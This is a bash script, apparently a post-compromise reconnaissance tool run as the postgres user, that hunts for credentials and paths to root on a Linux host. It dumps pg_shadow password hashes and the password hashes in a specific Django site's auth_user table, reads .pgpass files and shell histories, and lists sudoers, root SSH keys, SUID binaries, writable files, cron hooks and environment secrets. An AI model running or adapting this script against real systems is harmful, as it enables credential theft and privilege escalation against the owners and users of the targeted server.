#!/bin/bash
set +e
L=/tmp/pg_recon.log; : > "$L"
E(){ echo "$@" | tee -a "$L"; }
S(){ echo; echo "==================== $* ====================" | tee -a "$L"; }

S "IDENTITY"
E "date: $(date -u)"
E "id: $(id)"
E "whoami: $(whoami)"
E "euid: $(id -u) / effective: $(id -u 2>/dev/null)"

S "1. FILES READABLE BY POSTGRES (targets)"
ls -la /var/lib/postgresql/ 2>&1 | tee -a "$L"
ls -la /var/lib/postgresql/9.5/ /var/lib/postgresql/10/ 2>&1 | tee -a "$L"
E "--bash_history--"; cat /var/lib/postgresql/.bash_history 2>&1 | tee -a "$L"
E "--psql_history--"; cat /var/lib/postgresql/.psql_history 2>&1 | tee -a "$L"
E "--pgpass--"; find /var/lib/postgresql /home /etc -name ".pgpass" -o -name "*.pgpass" 2>/dev/null | tee -a "$L"
find / -name ".pgpass" -exec sh -c 'echo "== $1 =="; cat "$1"' _ {} \; 2>/dev/null | tee -a "$L"

S "2. PG_HBA + CONFIG"
E "--9.5 pg_hba--"; cat /etc/postgresql/9.5/main/pg_hba.conf 2>&1 | grep -vE "^#|^$" | tee -a "$L"
E "--10 pg_hba--"; cat /etc/postgresql/10/main/pg_hba.conf 2>&1 | grep -vE "^#|^$" | tee -a "$L"
E "--9.5 postgresql.conf (relevant)--"; grep -E "^(listen|port|shared_preload|local_preload|session_preload|ssl|unix_socket|hba_file)" /etc/postgresql/9.5/main/postgresql.conf 2>&1 | tee -a "$L"
E "--10 postgresql.conf (relevant)--"; grep -E "^(listen|port|shared_preload|local_preload|session_preload|ssl|unix_socket|hba_file)" /etc/postgresql/10/main/postgresql.conf 2>&1 | tee -a "$L"

S "3. PG_SHADOW HASHES"
psql -U postgres -tAc "SELECT usename||':'||COALESCE(passwd,'NULL')||':'||usesuper||':'||usecreatedb||':'||valuntil FROM pg_shadow;" 2>&1 | tee -a "$L"
E "---roles---"
psql -U postgres -tAc "SELECT rolname||':'||rolsuper||':'||rolcreaterole||':'||rolcreatedb||':'||rolcanlogin FROM pg_roles;" 2>&1 | tee -a "$L"

S "4. DATABASES + TABLES"
psql -U postgres -tAc "SELECT datname FROM pg_database;" 2>&1 | tee -a "$L"
psql -d myfifasalon -tAc "SELECT schemaname||'.'||tablename FROM pg_tables WHERE schemaname NOT IN ('pg_catalog','information_schema');" 2>&1 | tee -a "$L"

S "5. DJANGO USERS FULL"
psql -d myfifasalon -P pager=off -c "SELECT id,username,email,is_superuser,is_staff,substr(password,1,80) FROM auth_user;" 2>&1 | tee -a "$L"

S "6. WRITABLE BY POSTGRES"
find / -user postgres -writable -type f 2>/dev/null | grep -vE "^/proc|^/sys" | head -50 | tee -a "$L"
E "---dirs---"
find / -user postgres -writable -type d 2>/dev/null | grep -vE "^/proc|^/sys" | head -30 | tee -a "$L"

S "7. PG EXTENSIONS AVAILABLE"
psql -U postgres -tAc "SELECT name,default_version,installed_version FROM pg_available_extensions WHERE name LIKE 'pl%';" 2>&1 | tee -a "$L"
ls /usr/lib/postgresql/9.5/lib/ 2>&1 | grep -iE "pl|python|perl" | head -20 | tee -a "$L"
which gcc cc make 2>&1 | tee -a "$L"

S "8. LOGROTATE + TIMERS + CRON (postgres triggers)"
cat /etc/logrotate.d/postgresql-common 2>&1 | tee -a "$L"
systemctl list-timers --all --no-pager 2>/dev/null | grep -i postgres | tee -a "$L"
ls -la /etc/cron.d/ /etc/cron.daily/ 2>&1 | grep -i postgres | tee -a "$L"
grep -r postgres /etc/cron* 2>/dev/null | tee -a "$L"

S "9. PG LOG FILES"
ls -la /var/log/postgresql/ 2>&1 | tee -a "$L"
tail -50 /var/log/postgresql/*.log 2>&1 | tee -a "$L"

S "10. RUNNING PROCESSES (root with postgres paths)"
ps -eo user,pid,ppid,cmd 2>/dev/null | grep -iE "postgres|uwsgi|pgadmin|nginx" | grep -v grep | tee -a "$L"

S "11. NETWORK SOCKETS"
ss -tlnp 2>/dev/null | tee -a "$L"
ls -la /run/postgresql/ 2>&1 | tee -a "$L"

S "12. ROOT-OWNED FILES READABLE BY POSTGRES"
find /etc /root /var -user root -perm -o+r -type f 2>/dev/null | grep -vE "^/proc" | head -40 | tee -a "$L"

S "13. SUDOERS VISIBILITY"
cat /etc/sudoers 2>&1 | grep -vE "^#|^$" | tee -a "$L"
ls -la /etc/sudoers.d/ 2>&1 | tee -a "$L"
for f in /etc/sudoers.d/*; do E "--$f--"; cat "$f" 2>&1; done

S "14. SSH KEYS + ROOT ACCESS"
ls -la /root/.ssh/ 2>&1 | tee -a "$L"
cat /root/.ssh/authorized_keys 2>&1 | tee -a "$L"
ls -la /home/*/.ssh/ 2>&1 | tee -a "$L"

S "15. SUID/SGID TARGETS FOR POSTGRES"
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null | grep -vE "^/proc|^/sys" | tee -a "$L"

S "16. ENVIRONMENT + SECRETS"
env 2>&1 | tee -a "$L"
E "---pgAdmin connection strings---"
grep -rIl -E "dbname|host=|port=" /var/lib/postgresql 2>/dev/null | tee -a "$L"

S "17. GLOBAL WRITABLE FILES (any user)"
find / -perm -0002 -type f 2>/dev/null | grep -vE "^/proc|^/sys|^/tmp" | head -30 | tee -a "$L"

S "18. STATUS"
E "pg_binaries:"; ls /usr/lib/postgresql/*/bin/ 2>&1 | head -20 | tee -a "$L"
E "kernel: $(uname -a)"
E "uptime: $(uptime)"

S "DONE"
wc -l "$L"